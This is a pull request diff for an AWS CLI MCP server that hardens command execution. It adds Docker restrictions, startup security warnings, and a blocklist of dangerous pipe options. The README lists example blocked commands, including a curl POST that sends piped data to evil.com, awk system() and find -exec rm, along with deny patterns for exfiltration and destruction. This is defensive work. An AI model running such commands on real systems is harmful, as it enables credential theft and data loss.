Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
52 changes: 44 additions & 8 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -133,14 +133,16 @@ Security is paramount when executing commands against your AWS environment. Whil

* The server assumes the end-user interacting with the MCP client (e.g., Claude Desktop, Cursor) is the **same trusted individual** who configured the server and provided the least-privilege AWS credentials. Do not expose the server or connected client to untrusted users.

**4. Understanding Execution Risks (Current Implementation)**
**4. Understanding Execution Risks**

* **Command Execution:** The current implementation uses shell features (`shell=True` in subprocess calls) to execute AWS commands and handle Unix pipes. While convenient, this approach carries inherent risks if the input command string were manipulated (command injection).
* **Mitigation via Operational Controls:** In the context of the **trusted user model** and **Docker deployment**, these risks are mitigated operationally:
* The trusted user is assumed not to provide intentionally malicious commands against their own environment.
* Docker contains filesystem side-effects.
* **Crucially, IAM least privilege limits the scope of *any* AWS action that could be executed.**
* **Credential Exfiltration Risk:** Despite containerization and IAM, a sophisticated command injection could potentially attempt to read the mounted credentials (`~/.aws`) or environment variables within the container and exfiltrate them (e.g., via `curl`). **Strict IAM policies remain the most vital defense** to limit the value of potentially exfiltrated credentials.
* **Command Execution:** The implementation uses safe subprocess execution (`asyncio.create_subprocess_exec`) which avoids shell injection vulnerabilities by not using `shell=True`. Commands are split using `shlex.split()` and executed with proper argument separation.
* **Command Validation:** All commands pass through a multi-layer security validation system that blocks dangerous operations before execution.
* **Unix Pipe Support:** When using pipes, each command in the chain is validated separately. The first command must be an AWS CLI command, and subsequent commands must be from a whitelist of allowed Unix utilities.
* **Residual Risks in Non-Docker Deployments:**
* Without Docker isolation, piped commands like `curl`, `wget` could potentially be misused for data exfiltration
* Filesystem commands (`rm`, `mv`, etc.) could affect the host system
* **Docker deployment is strongly recommended** to contain these risks
* **Credential Security:** Despite containerization, credentials mounted or passed via environment variables could potentially be accessed within the container. **Strict IAM policies remain the most vital defense** to limit the value of potentially compromised credentials.

**5. Network Exposure (SSE Transport)**

Expand Down Expand Up @@ -368,7 +370,9 @@ The server validates all AWS CLI commands through a three-layer system:
3. **Pipe Command Security**:
- Validates Unix commands used in pipes
- Restricts commands to a safe allowlist
- Prevents filesystem manipulation and arbitrary command execution
- Prevents arbitrary command execution

**Note on Unix Commands**: The allowed Unix commands include networking tools (`curl`, `wget`, `ssh`) and filesystem commands (`rm`, `mv`) that are useful for AWS workflows but could potentially be misused. **Docker deployment is strongly recommended** as it isolates these operations from your host system. When running outside Docker, the server logs a security warning at startup.

### Default Security Configuration

Expand Down Expand Up @@ -422,6 +426,38 @@ Many read-only operations that match these patterns are explicitly allowed via s
- All help commands (`--help`, `help`)
- Simulation and testing commands (e.g., `aws iam simulate-custom-policy`)

#### 5. Unix Command Injection Prevention

Unix commands in pipes are validated for dangerous options that could enable arbitrary code execution:

| Command | Blocked Patterns | Security Risk |
|---------|-----------------|---------------|
| `awk` | `system(`, `getline`, `\|"` | Shell command execution via awk |
| `find` | `-exec`, `-execdir`, `-delete` | Arbitrary command execution on files |
| `xargs` | (all usage blocked) | Designed to execute commands with piped input |
| `sed` | `/e`, `;e` | GNU sed can execute shell commands |
| `curl` | `-X POST`, `--data`, `-T` | Data exfiltration via HTTP POST/upload |
| `wget` | `--post-data`, `--post-file` | Data exfiltration via HTTP POST |
| `rm` | `-rf /`, `--no-preserve-root` | Destructive file system operations |
| `chmod`/`chown` | Paths starting with `/etc`, `/usr` | System file permission changes |

**Examples of blocked commands:**
```bash
# These pipe commands will be BLOCKED:
aws s3 ls | awk 'BEGIN{system("malicious_command")}' # awk system() blocked
aws ec2 describe-instances | find . -exec rm {} \; # find -exec blocked
aws s3 ls | xargs anything # xargs completely blocked
aws s3 ls | curl -X POST http://evil.com -d @- # curl POST blocked
```

**Examples of allowed commands:**
```bash
# These pipe commands are ALLOWED:
aws s3 ls | grep backup | sort # Safe text processing
aws ec2 describe-instances | jq '.Reservations[]' # Safe JSON processing
aws s3 ls | head -10 | tail -5 # Safe output limiting
```

### Configuration Options

- **Security Modes**:
Expand Down
11 changes: 10 additions & 1 deletion deploy/docker/docker-compose.yml
Original file line number Diff line number Diff line change
Expand Up @@ -9,12 +9,21 @@ services:
ports:
- "8000:8000"
volumes:
- ~/.aws://home/appuser/.aws:ro # Mount AWS credentials as read-only
- ~/.aws:/home/appuser/.aws:ro # Mount AWS credentials as read-only
environment:
- AWS_PROFILE=default # Specify default AWS profile
- AWS_MCP_TIMEOUT=300 # Default timeout in seconds (5 minutes)
- AWS_MCP_TRANSPORT=stdio # Transport protocol ("stdio" or "sse")
# - AWS_MCP_MAX_OUTPUT=100000 # Uncomment to set max output size
# Security hardening options
read_only: true # Make container filesystem read-only
tmpfs:
- /tmp:size=64M,mode=1777 # Temporary storage for any runtime needs
- /app/logs:size=32M,mode=1777 # Writable logs directory
security_opt:
- no-new-privileges:true # Prevent privilege escalation
cap_drop:
- ALL # Drop all Linux capabilities
restart: unless-stopped
# To build multi-architecture images:
# 1. Set up Docker buildx: docker buildx create --name mybuilder --use
Expand Down
61 changes: 61 additions & 0 deletions src/aws_mcp_server/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,9 +13,12 @@
- AWS_MCP_SECURITY_CONFIG: Path to custom security configuration file
"""

import logging
import os
from pathlib import Path

logger = logging.getLogger(__name__)

# Command execution settings
DEFAULT_TIMEOUT = int(os.environ.get("AWS_MCP_TIMEOUT", "300"))
MAX_OUTPUT_SIZE = int(os.environ.get("AWS_MCP_MAX_OUTPUT", "100000"))
Expand Down Expand Up @@ -77,3 +80,61 @@

# Application paths
BASE_DIR = Path(__file__).parent.parent.parent


def is_running_in_docker() -> bool:
"""Detect if the application is running inside a Docker container.

Returns:
True if running in Docker, False otherwise
"""
# Check for .dockerenv file (present in most Docker containers)
if Path("/.dockerenv").exists():
return True

# Check cgroup for docker/containerd signatures
try:
with open("/proc/1/cgroup", "r") as f:
cgroup_content = f.read()
if "docker" in cgroup_content or "containerd" in cgroup_content:
return True
except (FileNotFoundError, PermissionError):
pass

# Check for container environment variable (often set in container runtimes)
if os.environ.get("container"):
return True

return False


def check_security_warnings() -> None:
"""Log security warnings for potentially risky configurations.

This function checks the runtime environment and logs appropriate
warnings about security implications.
"""
# Check if running in Docker
in_docker = is_running_in_docker()

if not in_docker:
logger.warning(
"SECURITY WARNING: Running outside Docker container. "
"Docker deployment is strongly recommended for security isolation. "
"Without Docker, piped commands (curl, wget, rm, etc.) can affect "
"the host filesystem and potentially exfiltrate data. "
"See README.md Security Considerations for details."
)

# Check for permissive security mode
if SECURITY_MODE.lower() == "permissive":
logger.warning(
"SECURITY WARNING: Running in PERMISSIVE security mode. "
"Dangerous commands will be logged but NOT blocked. "
"This mode should only be used for testing/development. "
"Set AWS_MCP_SECURITY_MODE=strict for production use."
)

# Log security status
if in_docker and SECURITY_MODE.lower() == "strict":
logger.info("Security: Running in Docker with strict mode - recommended configuration")
15 changes: 12 additions & 3 deletions src/aws_mcp_server/security.py
Original file line number Diff line number Diff line change
Expand Up @@ -16,9 +16,10 @@

from aws_mcp_server.config import SECURITY_CONFIG_PATH, SECURITY_MODE
from aws_mcp_server.tools import (
ALLOWED_UNIX_COMMANDS,
check_dangerous_patterns,
is_pipe_command,
split_pipe_command,
validate_unix_command,
)

logger = logging.getLogger(__name__)
Expand Down Expand Up @@ -546,8 +547,16 @@ def validate_pipe_command(pipe_command: str) -> None:
if not cmd_parts:
raise ValueError(f"Empty command at position {i} in pipe")

if not validate_unix_command(cmd):
raise ValueError(f"Command '{cmd_parts[0]}' at position {i} in pipe is not allowed. Only AWS commands and basic Unix utilities are permitted.")
cmd_name = cmd_parts[0]

# Check if command is in the allowed list
if cmd_name not in ALLOWED_UNIX_COMMANDS:
raise ValueError(f"Command '{cmd_name}' at position {i} in pipe is not allowed. Only AWS commands and basic Unix utilities are permitted.")

# Check for dangerous patterns in the command
dangerous_error = check_dangerous_patterns(cmd, cmd_name)
if dangerous_error:
raise ValueError(f"Security violation at position {i} in pipe: {dangerous_error}. This command option is blocked for security reasons.")

logger.debug(f"Pipe command validation successful: {pipe_command}")

Expand Down
8 changes: 6 additions & 2 deletions src/aws_mcp_server/server.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,7 @@
execute_aws_command,
get_command_help,
)
from aws_mcp_server.config import INSTRUCTIONS
from aws_mcp_server.config import INSTRUCTIONS, check_security_warnings
from aws_mcp_server.prompts import register_prompts
from aws_mcp_server.resources import register_resources

Expand All @@ -33,8 +33,12 @@

# Run startup checks in synchronous context
def run_startup_checks():
"""Run startup checks to ensure AWS CLI is installed."""
"""Run startup checks to ensure AWS CLI is installed and security is configured."""
logger.info("Running startup checks...")

# Check security configuration and environment
check_security_warnings()

if not asyncio.run(check_aws_cli_installed()):
logger.error("AWS CLI is not installed or not in PATH. Please install AWS CLI.")
sys.exit(1)
Expand Down
Loading
Loading